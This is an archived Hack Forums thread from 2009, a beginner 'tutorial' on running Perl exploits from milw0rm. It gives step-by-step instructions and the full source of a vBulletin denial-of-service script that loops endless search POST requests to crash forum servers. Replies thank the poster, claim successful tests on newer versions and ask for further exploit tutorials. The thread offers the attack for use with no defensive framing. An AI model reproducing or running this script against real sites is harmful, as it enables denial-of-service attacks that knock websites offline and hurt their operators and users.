+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] Exploits with Activce Perl (/showthread.php?tid=48526)
Pages: Pages
1
2
[TUT] Exploits with Activce Perl - Black Kat - Feb 1, 2009
Posted this because of the vBulletin exploit thread.
Active Perl Download link: http://aspn.activestate.com/ASPN/Downloads/ActivePerl/
You need Active Perl, but here are the relevant steps.
---------------------------------
1. First get your exploit, milw0rm.com is a database of exploits.
---------------------------------
2.Now press CTRL+A to select all text then CTRL+C to copy it.
---------------------------------
3.Open notepad and press CTRL+V to paste the text, now in notepad go to File -> Save As... and save it with exploitname.pl in C:\Perl\ . Don't forget the .pl after the name!.
---------------------------------
(Your Perl must be installed in C:\)
4.Now open 'cmd' and type 'cd\' without the quotes,then 'cd perl' without the quotes then 'perl exploitname.pl' without the quotes again.
---------------------------------
5.Now some text will appear.
---------------------------------
6.Now enter this
-> perl exploitname.pl hostIP forumfolder userid somenumber
Then press enter
---------------------------------
vBulletin Exploit found by Hishan:
Code
# VBulletin DoS Exploit
#
# The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works;)
#
# important => Make sure that Image Verification in (search.php) is NOT Enabled.
# It works on 3.6.5 and prior [all] !
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly =0&exactname=1&replyless=0&replylimit=3&searchdate =1&beforeafter=before&sortby=title&order=descendin g&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|";
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 \n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
exit();
};- Xiolin - Feb 1, 2009
hey thnx, i was just searchin for sumthin like this
- Black Kat - Feb 1, 2009
Glad to help.
- l33t_prototype - Feb 1, 2009
is there any new vbulletin exploit found? i rechecked milw0rm but nothing new abt vbulletin
- Black Kat - Feb 1, 2009
Hmmm, read the bottom of the first post. That is a new vBulletin exploit that works. Tested it this morning.
- TiberianWolf - Feb 1, 2009
Tnx nicely explained ✌
- l33t_prototype - Feb 1, 2009
# It works on 3.6.5 and prior [all] !
most of them are 3.7.x these days
- Black Kat - Feb 1, 2009
@ l33t_prototype - It has been tested on 3.8.2 and it worked.
@ tiberianWolf - Cheers!
- l33t_prototype - Feb 1, 2009
this wudnt work... i just tried it & it just shows +++++++++++++++++++++++++++++++++++++++++++++++++++ goin on sice past couple of hours. :(
- ventee[X] - Feb 1, 2009
Nice :D Thanks.
- new user - Feb 1, 2009
how much mb is it ?
- l33t_prototype - Feb 1, 2009
what mb are u talkin abt? the size of the site
- new user - Feb 1, 2009
i need to install it right ?
- Black Kat - Feb 1, 2009
Size on disk: 82.8 MB (86,863,872 bytes)
- darknessn1ko!a - Feb 1, 2009
htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? ~Yes
can you write tut for this ekploit ? ? ? pls